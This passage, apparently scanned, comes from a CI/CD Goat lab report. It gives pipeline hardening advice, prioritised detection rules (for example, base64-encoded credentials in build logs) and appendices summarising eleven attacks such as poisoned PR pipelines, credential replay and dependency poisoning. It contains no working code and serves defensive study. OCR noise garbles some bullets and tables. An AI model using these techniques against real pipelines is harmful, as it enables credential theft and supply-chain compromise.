e Remove high-value credentials from jobs that accept unreviewed content.

7.4 Registry and Artifact Integrity

o Pin all internal package versions to exact immutable references (digest for images; hash-
locked for packages).

e Restrict internal registry publishing to reviewed, signed release pipelines.
¢ Require SBOM generation and provenance attestation for all published artifacts.

o Validate live artifact integrity at deploy time, not just at build time.

7.5 Secrets Management

Secrets must never enter repository history. The Duchess case demonstrates that “already

¢

deleted” is not equivalent to “inaccessible.” Token rotation must follow immediately upon dis-

covery.
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e Pre-commit and pre-push scanning on every developer workstation and CI runner.
o Rotate any secret identified in history immediately; treat the old value as fully compromised.
o Use short-lived, scoped tokens instead of long-lived static credentials wherever possible.

e Inject secrets at runtime from a dedicated secrets manager, not from environment baking.

7.6 IaC and Deployment (Governance

Static scanning is necessary but not sufficient. Dodo demonstrated that an approved Terraform

plan can still produce an insecure live state via apply-time side effects.

o Disallow local-exec provisioners and external script calls in delivery pipelines.
o Run post-apply state validation (e.g., AWS Config, OPA Gatekeeper) as a hard gate.

o Enforce policy as code outside the application repository so it cannot be overridden by a
PR.

e Separate plan approval from apply execution with distinct credential scopes.

7.7 Monitoring and Detection Priorities
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( CRITICAL: New Jenkins node definitions or changed SSH launcher l
targets

‘ CRITICAL: Automated PR merge by a CI service account }

HIGH: Build log content matching base64-encoded credential pat-
terns

HIGH: Unexpected internal package version installs in production
pipelines

HIGH: Writes to deployment image namespaces from non-release
jobs

MEDIUM: Helper script changes on prod deployment hosts

MEDIUM: Scheduled job runtime significantly deviating from base-
line

Figure 7.2: Prioritized CI/CD monitoring detection points derived from lab findings.
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CHAPTER 8

Conclusion

Eleven CI/CD Goat challenges, eleven validated flags, one consistent root cause: the execution
trust model was always wider than the protection model.

Protecting the Jenkinsfile without protecting the Makefile it calls. Blocking direct pushes to main
without restricting what a fork PR job can print. Running Checkov without validating what
terraformapply actually deploys. Each of these reflects the same reasoning error: applying
control at the visible layer while leaving the actual execution path open.

The practical defense is not more scanners or more rules. It is disciplined trust boundaries:
reviewed pipeline definitions for any unreviewed input, narrowly scoped tokens that expire,
ephemeral isolated runners, immutable artifact references, and continuous validation of live
state. That architecture makes the execution trust model match the review model, and removes
the gaps that every challenge in this lab exploited.
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References
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APPENDIX A.

Challenge-to-Vulnerability Mapping

Failed
Boundary

Platform ‘Weakness Observed Outcome

Challenge

White Jenkins + PR pipeline PR code vs. Flag via PR Jenkinsfile
Rabbit Gitea poisoning credential-bearing  abuse
exec
Caterpillar Jenkins + CI token Fork job vs. SCM  Flag after trusted-branch
Gitea leakage token scope modification
Mad Hatter Jenkins + Protected- Protected Makefile execution path
Gitea pipeline bypass  Jenkinsfile vs. completed
mutable Makefile
Duchess Gitea Secret in Current tree vs. Token from deleted
history history objects .pypirc
Cheshire Jenkins + Controller Untrusted PR vs.  Controller local file access
Cat Gitea execution privileged node
Twiddledum  Jenkins + Dependency Protected Flag via upstream
Gitea poisoning consumer vs. package
mutable dep
Dodo Jenkins + Scanner bypass  Static scan vs. Flag after public ACL
Terraform runtime mutation  change
Hearts Jenkins Credential Agent config vs. Flag via SSH launcher
replay system credential  capture
Dormouse Jenkins + Metadata PR metadata vs. Flag via poisoned remote
Gitea injection shell; helper vs. script
cred scope
Mock Turtle  Jenkins + Weak merge Diff heuristic vs. Flag after auto-merge
Gitea gate branch integrity abuse
Gryphon GitLab Supply-chain Mutable artifacts  Flag via 4-stage chain

abuse

vs. protected
deploy
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APPENDIX B

Challenge Outcomes

Challenge

Outcome

Validation

White Rabbit

Caterpillar

Mad Hatter

Duchess

Cheshire Cat

Twiddledum

Dodo

Hearts

Dormouse

Mock Turtle

Gryphon

Jenkins credential recovered through direct
poisoned PR pipeline execution.

Read-only access escalated to trusted-branch
control via PR token leakage.

Protected Jenkinsfile bypassed via mutable
Makefile execution path.

PyPI credential recovered from Git history after
deletion.

Controller execution achieved by controlling
agent label selection.

Internal dependency poisoning exposed
build-time secret.

Terraform apply-time mutation bypassed static

Checkov review.

Agent launcher coerced into replaying stored
credential.

Reportcov metadata injection poisoned external
script consumed by Dormouse.

Weak auto-merge checks allowed trusted-branch
pipeline replacement.

4-stage package and image chain compromise
reached protected deployment.

Jenkins log +
CTFd

Token + prod
log + CTFd

Payload + scan
behavior
History view +
CTFd

Node view +
log + CTFd

Downstream log
+ CTFd

Terraform + log
+ CTFd

Node config +
log + CTFd
Helper chain +
log + CTFd
PR checks +
merge + CTFd
GitLab jobs +
endpoint +
CTFd
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